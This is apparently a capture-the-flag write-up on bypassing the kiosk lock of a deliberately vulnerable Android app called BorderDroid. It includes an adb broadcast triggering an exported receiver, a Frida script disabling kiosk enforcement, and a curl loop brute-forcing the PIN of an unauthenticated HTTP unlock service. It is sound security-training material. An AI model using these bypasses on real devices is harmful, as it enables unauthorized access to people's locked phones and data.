Post

BorderDroid : International Border Protection

BorderDroid : International Border Protection

Challenge Overview

Objective

You are a Border Control agent who has intercepted a potential hacker based on their suspicious activity on the airport WiFi network. Your team has detained the suspect, but their device is locked using BorderDroid’s advanced protection system. Intelligence suggests critical evidence is stored on this device. When the device was seized, it was still connected to the insecure airport WiFi network. Your mission is to find a way to bypass BorderDroid’s security mechanisms. Successfully completing this challenge demonstrates a critical security flaw in BorderDroid that could be exploited by law enforcement to access protected devices during legitimate investigations, while also highlighting a vulnerability that malicious actors could potentially exploit.

Restrictions

The attack should not require root permissions on the device. USB debugging enabled can be used for reconnaissance, but to make it realistic, the challenge solution should stick to “non USB attacks” for this challenge. All other “channels” are fair game. Just as in the real world, chances of it so USB is not an avenue to be used for the attack. Also, using the hardcoded secret to solve the challenge is not a correct way to solve the challenge.


Step 1 - Reviewing AndroidManifest.xml for permissions

Looking into AndroidManifest.xml file for permission of apps Looking into AndroidManifest.xml file for permission of apps

The first step is inspecting AndroidManifest.xml to enumerate the permissions BorderDroid requests.

Step 2 - Identifying exported components

Looking for exported components on manifest — a BroadcastReceiver is found Looking for exported components on manifest — a BroadcastReceiver is found

Continuing the manifest review, an exported BroadcastReceiver is found. Exported components can be invoked by other apps or directly via ADB without going through the app’s UI, so this immediately flags a potential entry point into internal app logic.

Step 3 - Locating the receiver’s expected input

Tracing the receiver's class to identify the action string and extras it expects Tracing the receiver’s class to identify the action string and extras it expects

Follow-up static analysis traces the receiver’s class to see how it parses its inputs — specifically the action string and extras it expects — which is what makes the ADB broadcast in the next step possible.

Step 4 - Triggering the exported receiver via ADB

1
2
3
4
adb shell am broadcast \
  -a com.eightksec.borderdroid.ACTION_PERFORM_REMOTE_TRIGGER \
  -n com.eightksec.borderdroid/.receiver.RemoteTriggerReceiver \
  --es com.eightksec.borderdroid.EXTRA_TRIGGER_PIN "123456"

Using the exported RemoteTriggerReceiver identified above, an explicit broadcast intent is sent directly from ADB with the action ACTION_PERFORM_REMOTE_TRIGGER and a PIN extra (EXTRA_TRIGGER_PIN). Because the receiver is exported, this command can invoke the app’s internal “remote trigger” logic without any legitimate unlock flow — relying only on guessing or extracting the expected PIN.

This way we can disable the Kiosk mode but since we can’t use ADB, this is not the legit solution.

Step 5 - Observing the trigger’s effect

Confirmation that the exported receiver processed the broadcast and produced an observable effect Confirmation that the exported receiver processed the broadcast and produced an observable effect

This capture shows the result of sending the broadcast — confirmation that the receiver actually processed the command and produced an observable effect, validating that the exported component is reachable and functional from outside the app.

Step 6 - Locating the kiosk-enforcement class

Static analysis identifying the KioskAccessibilityService class responsible for enforcing kiosk lockdown Static analysis identifying the KioskAccessibilityService class responsible for enforcing kiosk lockdown

Static analysis narrows in on the class responsible for enforcing kiosk lockdown — later identified as KioskAccessibilityService — including the fields and methods that control the lock overlay and Do-Not-Disturb enforcement referenced later in the Frida script.

Step 7 - Decompiling KioskAccessibilityService

Decompiled KioskAccessibilityService — part 1 Decompiled KioskAccessibilityService — part 1

Decompiled KioskAccessibilityService — part 2 Decompiled KioskAccessibilityService — part 2

Decompiled KioskAccessibilityService — part 3 Decompiled KioskAccessibilityService — part 3

Decompiled KioskAccessibilityService — part 4 Decompiled KioskAccessibilityService — part 4

These four screenshots show the decompiled source of KioskAccessibilityService, the class responsible for the kiosk lockdown. The visible members — the isKioskModeActive boolean flag and the removeOverlay() / disableDndModeIfNeeded() methods — are exactly the members targeted in the Frida script below, confirming this class as the enforcement point to bypass.

Step 8 - Bypassing kiosk enforcement at runtime with Frida

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Java.perform(function () {
    var TAG = "[BorderDroidBypass]";
    var ServiceCls = Java.use("com.eightksec.borderdroid.service.KioskAccessibilityService");
    ServiceCls.isKioskModeActive.value = false;
    Java.choose("com.eightksec.borderdroid.service.KioskAccessibilityService", {
        onMatch: function (instance) {
            try { instance.removeOverlay(); console.log(TAG + " overlay removed"); }
            catch (e) { console.log(TAG + " removeOverlay error: " + e); }
            try { instance.disableDndModeIfNeeded(); console.log(TAG + " dnd restored"); }
            catch (e) { console.log(TAG + " dnd error: " + e); }
        },
        onComplete: function () {}
    });

});

This Frida script hooks into the running app process and:

  1. Forces the static isKioskModeActive flag to false, disabling the app’s internal kiosk-mode check.
  2. Uses Java.choose to find the live instance of KioskAccessibilityService and directly invoke its removeOverlay() and disableDndModeIfNeeded() methods, removing the lock-screen overlay and restoring normal notification/DND behavior.

This demonstrates that kiosk enforcement implemented purely in app-layer code — rather than backed by Android’s Device Owner / enterprise policies — can be defeated by anyone able to run dynamic instrumentation (e.g. on a rooted or debuggable device).

But all these cannot be carried out without a USB connection or previous access to the device, so this is not the valid solution for our case.

Step 9 - Side effect: the broadcast also disrupts HttpUnlockService

HttpUnlockService is stopped as a side effect of the remote-trigger broadcast HttpUnlockService is stopped as a side effect of the remote-trigger broadcast

Beside the kiosk bypass, further testing showed the same remote-trigger broadcast has an additional side effect on another component.

On sending the broadcast, it stops the HttpUnlockService. Looking deeper into it:

HttpUnlockService source — overview HttpUnlockService source — overview

Logic to handle the unlock request Logic to handle the unlock request

On a valid request, an explicit internal broadcast is sent to disable Kiosk mode On a valid request, an explicit internal broadcast is sent to disable Kiosk mode

Analysing all these, there is no authentication or rate-limit mechanism. So, simply brute-forcing the PIN from the local network can disable Kiosk mode.

Curl request to disable Kiosk mode Curl request to disable Kiosk mode

To brute-force, we can use the following command:

1
2
3
4
5
6
7
8
9
for i in {0..1000000}; do
  printf -v pin "%06d" "$i"
  echo "Attempt $i"
  curl -s -X POST 192.168.10.109:8080/unlock \
    -H "Content-Type: application/json" \
    -d "{\"pin\":\"$pin\"}"
  echo
  sleep 1
done

This way the challenge can be solved remotely without USB or runtime manipulation.

This post is licensed under CC BY 4.0 by the author.